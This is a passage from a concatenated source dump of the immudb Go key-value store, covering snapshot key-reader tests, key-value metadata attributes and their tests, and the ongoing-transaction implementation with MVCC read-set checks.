except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "encoding/binary" "testing" "github.com/stretchr/testify/require" ) func TestImmudbStoreReader(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immuStore.Close() txCount := 100 eCount := 100 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) err = tx.Set(k[:], nil, v[:]) require.NoError(t, err) } _, err = tx.Commit(context.Background()) require.NoError(t, err) } snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() for i := 0; i < txCount; i++ { for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) valRef, err := snap.GetBetween(context.Background(), k[:], 1, uint64(i+1)) require.NoError(t, err) require.EqualValues(t, i+1, valRef.Tx()) } } reader, err := snap.NewKeyReader(KeyReaderSpec{}) require.NoError(t, err) defer reader.Close() for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(txCount-1)) rk, vref, err := reader.Read(context.Background()) require.NoError(t, err) require.Equal(t, k[:], rk) rv, err := vref.Resolve() require.NoError(t, err) require.Equal(t, v[:], rv) } _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) } func TestImmudbStoreReaderAsBefore(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) txCount := 100 eCount := 100 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) err = tx.Set(k[:], nil, v[:]) require.NoError(t, err) } _, err = tx.Commit(context.Background()) require.NoError(t, err) } snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() reader, err := snap.NewKeyReader(KeyReaderSpec{}) require.NoError(t, err) defer reader.Close() for i := 0; i < txCount; i++ { for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) rk, vref, err := reader.ReadBetween(context.Background(), 0, uint64(i+1)) require.NoError(t, err) require.Equal(t, k[:], rk) rv, err := vref.Resolve() require.NoError(t, err) require.Equal(t, v[:], rv) } _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) err = reader.Reset() require.NoError(t, err) } } func TestImmudbStoreReaderWithOffset(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immuStore.Close() txCount := 10 eCount := 100 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) err = tx.Set(k[:], nil, v[:]) require.NoError(t, err) } _, err = tx.Commit(context.Background()) require.NoError(t, err) } snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() offset := eCount - 10 reader, err := snap.NewKeyReader(KeyReaderSpec{ Offset: uint64(offset), }) require.NoError(t, err) defer reader.Close() for j := 0; j < 10; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j+offset)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(txCount-1)) rk, vref, err := reader.Read(context.Background()) require.NoError(t, err) require.Equal(t, k[:], rk) rv, err := vref.Resolve() require.NoError(t, err) require.Equal(t, v[:], rv) } _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) } func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immuStore.Close() txCount := 10 eCount := 100 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) err = tx.Set(k[:], nil, v[:]) require.NoError(t, err) } _, err = tx.Commit(context.Background()) require.NoError(t, err) } snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() offset := eCount - 10 reader, err := snap.NewKeyReader(KeyReaderSpec{ Offset: uint64(offset), }) require.NoError(t, err) defer reader.Close() for i := 0; i < txCount; i++ { for j := 0; j < eCount-offset; j++ { var k [8]byte binary.BigEndian.PutUint64(k[:], uint64(j+offset)) var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) rk, vref, err := reader.ReadBetween(context.Background(), 0, uint64(i+1)) require.NoError(t, err) require.Equal(t, k[:], rk) rv, err := vref.Resolve() require.NoError(t, err) require.Equal(t, v[:], rv) } _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) err = reader.Reset() require.NoError(t, err) } } ================================================ FILE: embedded/store/kv_metadata.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "bytes" "encoding/binary" "errors" "fmt" "time" ) var ErrNonExpirable = errors.New("non expirable") var ErrReadOnly = errors.New("read-only") var ErrNonIndexable = errors.New("non-indexable") const ( deletedAttrCode attributeCode = 0 expiresAtAttrCode attributeCode = 1 nonIndexableAttrCode attributeCode = 2 ) const deletedAttrSize = 0 const expiresAtAttrSize = tsSize const nonIndexableAttrSize = 0 const maxKVMetadataLen = (attrCodeSize + deletedAttrSize) + (attrCodeSize + expiresAtAttrSize) + (attrCodeSize + nonIndexableAttrSize) type KVMetadata struct { attributes map[attributeCode]attribute readonly bool } type deletedAttribute struct { } func (a *deletedAttribute) code() attributeCode { return deletedAttrCode } func (a *deletedAttribute) serialize() []byte { return nil } func (a *deletedAttribute) deserialize(b []byte) (int, error) { return 0, nil } type expiresAtAttribute struct { expiresAt time.Time } func (a *expiresAtAttribute) code() attributeCode { return expiresAtAttrCode } func (a *expiresAtAttribute) serialize() []byte { var b [tsSize]byte binary.BigEndian.PutUint64(b[:], uint64(a.expiresAt.Unix())) return b[:] } func (a *expiresAtAttribute) deserialize(b []byte) (int, error) { if len(b) < tsSize { return 0, ErrCorruptedData } a.expiresAt = time.Unix(int64(binary.BigEndian.Uint64(b)), 0) return tsSize, nil } type nonIndexableAttribute struct { } func (a *nonIndexableAttribute) code() attributeCode { return nonIndexableAttrCode } func (a *nonIndexableAttribute) serialize() []byte { return nil } func (a *nonIndexableAttribute) deserialize(b []byte) (int, error) { return 0, nil } func NewKVMetadata() *KVMetadata { return &KVMetadata{ attributes: make(map[attributeCode]attribute), } } func newReadOnlyKVMetadata() *KVMetadata { return &KVMetadata{ attributes: make(map[attributeCode]attribute), readonly: true, } } func (md *KVMetadata) AsDeleted(deleted bool) error { if md.readonly { return ErrReadOnly } if !deleted { delete(md.attributes, deletedAttrCode) return nil } _, ok := md.attributes[deletedAttrCode] if !ok { md.attributes[deletedAttrCode] = &deletedAttribute{} } return nil } func (md *KVMetadata) Deleted() bool { _, ok := md.attributes[deletedAttrCode] return ok } func (md *KVMetadata) ExpiresAt(expiresAt time.Time) error { if md.readonly { return ErrReadOnly } expAtAttr, ok := md.attributes[expiresAtAttrCode] if !ok { expAtAttr = &expiresAtAttribute{expiresAt: expiresAt} md.attributes[expiresAtAttrCode] = expAtAttr return nil } expAtAttr.(*expiresAtAttribute).expiresAt = expiresAt return nil } func (md *KVMetadata) NonExpirable() *KVMetadata { delete(md.attributes, expiresAtAttrCode) return md } func (md *KVMetadata) IsExpirable() bool { _, ok := md.attributes[expiresAtAttrCode] return ok } func (md *KVMetadata) ExpirationTime() (time.Time, error) { expAtAttr, ok := md.attributes[expiresAtAttrCode] if !ok { return time.Now(), ErrNonExpirable } return expAtAttr.(*expiresAtAttribute).expiresAt, nil } func (md *KVMetadata) ExpiredAt(mtime time.Time) bool { expAtAttr, ok := md.attributes[expiresAtAttrCode] if !ok { return false } return !expAtAttr.(*expiresAtAttribute).expiresAt.After(mtime) } func (md *KVMetadata) AsNonIndexable(nonIndexable bool) error { if md.readonly { return ErrReadOnly } if !nonIndexable { delete(md.attributes, nonIndexableAttrCode) return nil } _, ok := md.attributes[nonIndexableAttrCode] if !ok { md.attributes[nonIndexableAttrCode] = &nonIndexableAttribute{} } return nil } func (md *KVMetadata) NonIndexable() bool { _, ok := md.attributes[nonIndexableAttrCode] return ok } func (md *KVMetadata) Bytes() []byte { var b bytes.Buffer for _, attrCode := range []attributeCode{deletedAttrCode, expiresAtAttrCode, nonIndexableAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) b.Write(attr.serialize()) } } return b.Bytes() } func (md *KVMetadata) unsafeReadFrom(b []byte) error { if len(b) > maxKVMetadataLen { return ErrCorruptedData } i := 0 for { if len(b) == i { break } if len(b[i:]) < attrCodeSize { return ErrCorruptedData } attrCode := attributeCode(b[i]) i += attrCodeSize attr, err := newAttribute(attrCode) if err != nil { return err } n, err := attr.deserialize(b[i:]) if err != nil { return fmt.Errorf("error reading metadata attributes: %w", err) } i += n md.attributes[attr.code()] = attr } return nil } func newAttribute(attrCode attributeCode) (attribute, error) { switch attrCode { case deletedAttrCode: { return &deletedAttribute{}, nil } case expiresAtAttrCode: { return &expiresAtAttribute{}, nil } case nonIndexableAttrCode: { return &nonIndexableAttribute{}, nil } default: { return nil, fmt.Errorf("error reading metadata attributes: %w", ErrCorruptedData) } } } ================================================ FILE: embedded/store/kv_metadata_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "testing" "time" "github.com/stretchr/testify/require" ) func TestKVMetadata(t *testing.T) { now := time.Now() md := NewKVMetadata() bs := md.Bytes() require.Len(t, bs, 0) err := md.unsafeReadFrom(bs) require.NoError(t, err) require.False(t, md.Deleted()) require.False(t, md.IsExpirable()) require.False(t, md.NonIndexable()) _, err = md.ExpirationTime() require.ErrorIs(t, err, ErrNonExpirable) require.False(t, md.ExpiredAt(now)) t.Run("mutable methods over read-only metadata should fail", func(t *testing.T) { desmd := newReadOnlyKVMetadata() err = desmd.unsafeReadFrom(nil) require.NoError(t, err) require.False(t, desmd.Deleted()) require.False(t, md.IsExpirable()) require.False(t, md.ExpiredAt(now)) require.False(t, md.NonIndexable()) err = desmd.AsDeleted(true) require.ErrorIs(t, err, ErrReadOnly) err = desmd.ExpiresAt(now) require.ErrorIs(t, err, ErrReadOnly) err = desmd.AsNonIndexable(true) require.ErrorIs(t, err, ErrReadOnly) }) desmd := NewKVMetadata() err = desmd.unsafeReadFrom(nil) require.NoError(t, err) desmd.AsDeleted(false) require.False(t, desmd.Deleted()) desmd.AsDeleted(true) require.True(t, desmd.Deleted()) desmd.NonExpirable() require.False(t, md.IsExpirable()) require.False(t, md.ExpiredAt(now)) desmd.ExpiresAt(now) require.True(t, desmd.IsExpirable()) desmd.ExpiresAt(now) require.True(t, desmd.IsExpirable()) expTime, err := desmd.ExpirationTime() require.NoError(t, err) require.Equal(t, now, expTime) require.True(t, desmd.ExpiredAt(now)) desmd.AsNonIndexable(false) require.False(t, desmd.NonIndexable()) desmd.AsNonIndexable(true) require.True(t, desmd.NonIndexable()) bs = desmd.Bytes() require.NotNil(t, bs) require.LessOrEqual(t, len(bs), maxKVMetadataLen) err = desmd.unsafeReadFrom(bs) require.NoError(t, err) require.True(t, desmd.Deleted()) require.True(t, desmd.IsExpirable()) require.True(t, desmd.ExpiredAt(now)) require.True(t, desmd.NonIndexable()) } ================================================ FILE: embedded/store/metadata.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store type attributeCode byte const attrCodeSize = 1 type attribute interface { code() attributeCode serialize() []byte deserialize(b []byte) (int, error) } ================================================ FILE: embedded/store/ongoing_tx.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "bytes" "context" "crypto/sha256" "errors" "fmt" "time" ) // OngoingTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW. // The snapshot may be locally modified but isolated from other transactions type OngoingTx struct { st *ImmuStore ctx context.Context snapshots []*Snapshot // snapshot per index mode TxMode // MVCC validations are not needed for read-only transactions snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 snapshotRenewalPeriod time.Duration unsafeMVCC bool requireMVCCOnFollowingTxs bool entries []*EntrySpec transientEntries map[int]*EntrySpec entriesByKey map[[sha256.Size]byte]int preconditions []Precondition mvccReadSet *mvccReadSet // mvcc read-set metadata *TxMetadata ts time.Time closed bool } type mvccReadSet struct { expectedGets []expectedGet expectedGetsWithPrefix []expectedGetWithPrefix expectedReaders []*expectedReader readsetSize int } func (mvccReadSet *mvccReadSet) isEmpty() bool { return len(mvccReadSet.expectedGets) == 0 && len(mvccReadSet.expectedGetsWithPrefix) == 0 && len(mvccReadSet.expectedReaders) == 0 } type expectedGet struct { key []byte filters []FilterFn expectedTx uint64 // 0 used to denote non-existence } type expectedGetWithPrefix struct { prefix []byte neq []byte filters []FilterFn expectedKey []byte expectedTx uint64 // 0 used to denote non-existence } type EntrySpec struct { Key []byte Metadata *KVMetadata Value []byte // hashValue is the hash of the value // if the actual value is truncated. This is // used during replication. HashValue [sha256.Size]byte // isValueTruncated is true if the value is // truncated. This is used during replication. IsValueTruncated bool } func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { if ctx.Err() != nil { return nil, ctx.Err() } err := opts.Validate() if err != nil { return nil, err } tx := &OngoingTx{ st: s, ctx: ctx, transientEntries: make(map[int]*EntrySpec), entriesByKey: make(map[[sha256.Size]byte]int), ts: time.Now(), unsafeMVCC: opts.UnsafeMVCC, } tx.mode = opts.Mode if opts.Mode == WriteOnlyTx { return tx, nil } tx.snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID tx.snapshotRenewalPeriod = opts.SnapshotRenewalPeriod tx.mvccReadSet = &mvccReadSet{} return tx, nil } type ongoingValRef struct { value []byte hc uint64 txmd *TxMetadata kvmd *KVMetadata } func (oref *ongoingValRef) Resolve() (val []byte, err error) { return oref.value, nil } func (oref *ongoingValRef) Tx() uint64 { return 0 } func (oref *ongoingValRef) HC() uint64 { return oref.hc } func (oref *ongoingValRef) TxMetadata() *TxMetadata { return oref.txmd } func (oref *ongoingValRef) KVMetadata() *KVMetadata { return oref.kvmd } func (oref *ongoingValRef) HVal() [sha256.Size]byte { return sha256.Sum256(oref.value) } func (oref *ongoingValRef) Len() uint32 { return uint32(len(oref.value)) } func (oref *ongoingValRef) VOff() int64 { return 0 } func (tx *OngoingTx) IsWriteOnly() bool { return tx.mode == WriteOnlyTx } func (tx *OngoingTx) IsReadOnly() bool { return tx.mode == ReadOnlyTx } func (tx *OngoingTx) WithMetadata(md *TxMetadata) *OngoingTx { tx.metadata = md return tx } func (tx *OngoingTx) Timestamp() time.Time { return tx.ts.Truncate(time.Microsecond).UTC() } func (tx *OngoingTx) Metadata() *TxMetadata { return tx.metadata } func (tx *OngoingTx) snap(key []byte) (*Snapshot, error) { for _, snap := range tx.snapshots { if hasPrefix(key, snap.prefix) { return snap, nil } } var snapshotMustIncludeTxID uint64 if tx.snapshotMustIncludeTxID != nil { snapshotMustIncludeTxID = tx.snapshotMustIncludeTxID(tx.st.LastPrecommittedTxID()) } mandatoryMVCCUpToTxID := tx.st.MandatoryMVCCUpToTxID() if mandatoryMVCCUpToTxID > snapshotMustIncludeTxID { snapshotMustIncludeTxID = mandatoryMVCCUpToTxID } snap, err := tx.st.SnapshotMustIncludeTxIDWithRenewalPeriod(tx.ctx, key, snapshotMustIncludeTxID, tx.snapshotRenewalPeriod) if err != nil { return nil, err } // using an "interceptor" to construct the valueRef from current entries // so to avoid storing more data into the snapshot snap.refInterceptor = func(key []byte, valRef ValueRef) ValueRef { keyRef, ok := tx.entriesByKey[sha256.Sum256(key)] if !ok { return valRef } entrySpec, transient := tx.transientEntries[keyRef] if !transient { entrySpec = tx.entries[keyRef] } return &ongoingValRef{ hc: valRef.HC(), value: entrySpec.Value, txmd: tx.metadata, kvmd: entrySpec.Metadata, } } tx.snapshots = append(tx.snapshots, snap) return snap, nil } func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated, isTransient bool) error { if tx.closed { return ErrAlreadyClosed } if tx.IsReadOnly() { return ErrReadOnlyTx } if len(key) == 0 { return ErrNullKey } if len(key) > tx.st.maxKeyLen { return ErrMaxKeyLenExceeded } if len(value) > tx.st.maxValueLen { return ErrMaxValueLenExceeded } kid := sha256.Sum256(key) keyRef, isKeyUpdate := tx.entriesByKey[kid] if !isKeyUpdate && len(tx.entries) > tx.st.maxTxEntries { return ErrMaxTxEntriesLimitExceeded } _, wasTransient := tx.transientEntries[keyRef] if isKeyUpdate { if wasTransient != isTransient { return ErrCannotUpdateKeyTransiency } } e := &EntrySpec{ Key: key, Metadata: md, Value: value, HashValue: hashValue, IsValueTruncated: isValueTruncated, } // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte tx.st.indexersMux.RLock() indexers := tx.st.indexers tx.st.indexersMux.RUnlock() for _, indexer := range indexers { if isTransient && !hasPrefix(key, indexer.TargetPrefix()) { continue } if !isTransient && (!hasPrefix(key, indexer.SourcePrefix()) || indexer.spec.SourceEntryMapper != nil) { continue } var targetKey []byte if isTransient { targetKey = key } else { // map the key, get the snapshot for mapped key, set sourceKey, err := mapKey(key, value, indexer.spec.SourceEntryMapper) if err != nil { return err } targetKey, err = mapKey(sourceKey, value, indexer.spec.TargetEntryMapper) if err != nil { return err } } isIndexable := md == nil || !md.NonIndexable() // updates are not needed because valueRef are resolved with the "interceptor" if !tx.IsWriteOnly() && !isKeyUpdate && isIndexable { snap, err := tx.snap(targetKey) if err != nil { return err } err = snap.set(targetKey, indexedValue[:]) if err != nil { return err } } if !bytes.Equal(key, targetKey) { kid := sha256.Sum256(targetKey) keyRef, isKeyUpdate := tx.entriesByKey[kid] if isKeyUpdate { tx.transientEntries[keyRef] = e } else { tx.transientEntries[len(tx.entriesByKey)] = e tx.entriesByKey[kid] = len(tx.entriesByKey) } } } if isKeyUpdate { if isTransient { tx.transientEntries[keyRef] = e } else { tx.entries[keyRef] = e } } else { if isTransient { tx.transientEntries[len(tx.entriesByKey)] = e tx.entriesByKey[kid] = len(tx.entriesByKey) } else { tx.entries = append(tx.entries, e) tx.entriesByKey[kid] = len(tx.entries) - 1 } } return nil } func mapKey(key []byte, value []byte, mapper EntryMapper) (mappedKey []byte, err error) { if mapper == nil { return key, nil } return mapper(key, value) } func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte return tx.set(key, md, value, hashValue, false, false) } func (tx *OngoingTx) SetTransient(key []byte, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte return tx.set(key, md, value, hashValue, false, true) } func (tx *OngoingTx) AddPrecondition(c Precondition) error { if tx.closed { return ErrAlreadyClosed } if c == nil { return ErrIllegalArguments } err := c.Validate(tx.st) if err != nil { return err } tx.preconditions = append(tx.preconditions, c) return nil } func (tx *OngoingTx) mvccReadSetLimitReached() bool { return tx.mvccReadSet.readsetSize == tx.st.mvccReadSetLimit } func (tx *OngoingTx) Delete(ctx context.Context, key []byte) error { if tx.closed { return ErrAlreadyClosed } if tx.IsReadOnly() { return ErrReadOnlyTx } valRef, err := tx.Get(ctx, key) if err != nil { return err } if valRef.KVMetadata() != nil && valRef.KVMetadata().Deleted() { return ErrKeyNotFound } md := NewKVMetadata() md.AsDeleted(true) return tx.Set(key, md, nil) } func (tx *OngoingTx) Get(ctx context.Context, key []byte) (ValueRef, error) { return tx.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted) } func (tx *OngoingTx) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (ValueRef, error) { if tx.closed { return nil, ErrAlreadyClosed } if tx.IsWriteOnly() { return nil, ErrWriteOnlyTx } snap, err := tx.snap(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } return nil, err } valRef, err := snap.GetWithFilters(ctx, key, filters...) if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGet := expectedGet{ key: cp(key), filters: filters, } if tx.mvccReadSetLimitReached() { return nil, ErrMVCCReadSetLimitExceeded } tx.mvccReadSet.expectedGets = append(tx.mvccReadSet.expectedGets, expectedGet) tx.mvccReadSet.readsetSize++ } if err != nil { return nil, err } if !tx.IsReadOnly() && valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGet := expectedGet{ key: cp(key), filters: filters, expectedTx: valRef.Tx(), } if tx.mvccReadSetLimitReached() { return nil, ErrMVCCReadSetLimitExceeded } tx.mvccReadSet.expectedGets = append(tx.mvccReadSet.expectedGets, expectedGet) tx.mvccReadSet.readsetSize++ } return valRef, nil } func (tx *OngoingTx) GetWithPrefix(ctx context.Context, prefix, neq []byte) (key []byte, valRef ValueRef, err error) { return tx.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted) } func (tx *OngoingTx) GetWithPrefixAndFilters(ctx context.Context, prefix, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { if tx.closed { return nil, nil, ErrAlreadyClosed } if tx.IsWriteOnly() { return nil, nil, ErrWriteOnlyTx } snap, err := tx.snap(prefix) if err != nil { if errors.Is(err, ErrIndexNotFound) { return nil, nil, ErrKeyNotFound } return nil, nil, err } key, valRef, err = snap.GetWithPrefixAndFilters(ctx, prefix, neq, filters...) if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), neq: cp(neq), filters: filters, } if tx.mvccReadSetLimitReached() { return nil, nil, ErrMVCCReadSetLimitExceeded } tx.mvccReadSet.expectedGetsWithPrefix = append(tx.mvccReadSet.expectedGetsWithPrefix, expectedGetWithPrefix) tx.mvccReadSet.readsetSize++ } if err != nil { return nil, nil, err } if !tx.IsReadOnly() && valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), neq: cp(neq), filters: filters, expectedKey: cp(key), expectedTx: valRef.Tx(), } if tx.mvccReadSetLimitReached() { return nil, nil, ErrMVCCReadSetLimitExceeded } tx.mvccReadSet.expectedGetsWithPrefix = append(tx.mvccReadSet.expectedGetsWithPrefix, expectedGetWithPrefix) tx.mvccReadSet.readsetSize++ } return key, valRef, nil } func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { if tx.closed { return nil, ErrAlreadyClosed } if tx.IsWriteOnly() { return nil, ErrWriteOnlyTx } if tx.IsReadOnly() { snap, err := tx.snap(spec.Prefix) if err != nil { return nil, err } return snap.NewKeyReader(spec) } return newOngoingTxKeyReader(tx, spec) } func (tx *OngoingTx) RequireMVCCOnFollowingTxs(requireMVCCOnFollowingTxs bool) error { if tx.closed { return ErrAlreadyClosed } tx.requireMVCCOnFollowingTxs = requireMVCCOnFollowingTxs return nil } func (tx *OngoingTx) Commit(ctx context.Context) (*TxHeader, error) { return tx.commit(ctx, true) } func (tx *OngoingTx) AsyncCommit(ctx context.Context) (*TxHeader, error) { return tx.commit(ctx, false) } func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeader, error) { if tx.closed { return nil, ErrAlreadyClosed } if !tx.IsWriteOnly() { for _, snap := range tx.snapshots { err := snap.Close() if err != nil { return nil, err } } } tx.closed = true if tx.IsReadOnly() { return nil, ErrReadOnlyTx } if ctx.Err() != nil { return nil, ctx.Err() } return tx.st.commit(ctx, tx, nil, false, waitForIndexing) } func (tx *OngoingTx) Cancel() error { if tx.closed { return ErrAlreadyClosed } tx.closed = true if !tx.IsWriteOnly() { for _, snap := range tx.snapshots { err := snap.Close() if err != nil { return err } } } return nil } func (tx *OngoingTx) Closed() bool { return tx.closed } func (tx *OngoingTx) hasPreconditions() bool { return len(tx.preconditions) > 0 || (tx.mvccReadSet != nil && !tx.mvccReadSet.isEmpty()) } func (tx *OngoingTx) checkPreconditions(ctx context.Context, st *ImmuStore) error { for _, c := range tx.preconditions { if c == nil { return ErrInvalidPreconditionNull } ok, err := c.Check(ctx, st) if err != nil { return fmt.Errorf("error checking %s precondition: %w", c, err) } if !ok { return fmt.Errorf("%w: %s", ErrPreconditionFailed, c) } } if tx.IsWriteOnly() { // read-only transactions won't be invalidated return nil } for _, txSnap := range tx.snapshots { if txSnap.Ts() > st.LastPrecommittedTxID() { // read-write transactions when no other transaction was committed won't be invalidated return nil } // current snapshot is fetched without flushing snap, err := st.syncSnapshot(txSnap.prefix) if err != nil { return err } defer snap.Close() for _, e := range tx.mvccReadSet.expectedGets { if !hasPrefix(e.key, txSnap.prefix) { continue } valRef, err := snap.GetWithFilters(ctx, e.key, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict } continue } if err != nil { return err } if e.expectedTx != valRef.Tx() { return ErrTxReadConflict } } for _, e := range tx.mvccReadSet.expectedGetsWithPrefix { if !hasPrefix(e.prefix, txSnap.prefix) { continue } key, valRef, err := snap.GetWithPrefixAndFilters(ctx, e.prefix, e.neq, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict } continue } if err != nil { return err } if !bytes.Equal(e.expectedKey, key) || e.expectedTx != valRef.Tx() { return ErrTxReadConflict } } for _, eReader := range tx.mvccReadSet.expectedReaders { if !hasPrefix(eReader.spec.Prefix, txSnap.prefix) { continue } rspec := KeyReaderSpec{ SeekKey: eReader.spec.SeekKey, EndKey: eReader.spec.EndKey, Prefix: eReader.spec.Prefix, InclusiveSeek: eReader.spec.InclusiveSeek, InclusiveEnd: eReader.spec.InclusiveEnd, DescOrder: eReader.spec.DescOrder, } reader, err := snap.NewKeyReader(rspec) if err != nil { return err } defer reader.Close() for _, eReads := range eReader.expectedReads { var key []byte var valRef ValueRef for _, eRead := range eReads { if len(key) == 0 { if eRead.initialTxID == 0 && eRead.finalTxID == 0 { key, valRef, err = reader.Read(ctx) } else { key, valRef, err = reader.ReadBetween(ctx, eRead.initialTxID, eRead.finalTxID) } if err != nil && !errors.Is(err, ErrNoMoreEntries) { return err } } if eRead.expectedNoMoreEntries { if err == nil { return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) } break } if eRead.expectedTx == 0 { if err == nil && bytes.Equal(eRead.expectedKey, key) { // key was updated by the transaction key = nil valRef = nil } } else { if errors.Is(err, ErrNoMoreEntries) { return fmt.Errorf("%w: fetching less entries than expected", ErrTxReadConflict) } if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { return fmt.Errorf("%w: fetching a different key or an updated one", ErrTxReadConflict) } key = nil valRef = nil } } err = reader.Reset() if err != nil { return err } } } } return nil } func (tx *OngoingTx) validateAgainst(hdr *TxHeader) error { if hdr == nil { return nil } if len(tx.entries) != hdr.NEntries { return fmt.Errorf("%w: number of entries differs", ErrIllegalArguments) } if tx.metadata != nil { if !tx.metadata.Equal(hdr.Metadata) { return fmt.Errorf("%w: metadata differs", ErrIllegalArguments) } } else if hdr.Metadata != nil { if !hdr.Metadata.Equal(tx.metadata) { return fmt.Errorf("%w: metadata differs", ErrIllegalArguments) } } return nil } func (tx *OngoingTx) Context() context.Context { return tx.ctx } func cp(s []byte) []byte { if s == nil { return nil } c := make([]byte, len(s)) copy(c, s) return c } ================================================ FILE: embedded/store/ongoing_tx_keyreader.go ================================================ /* Copyright 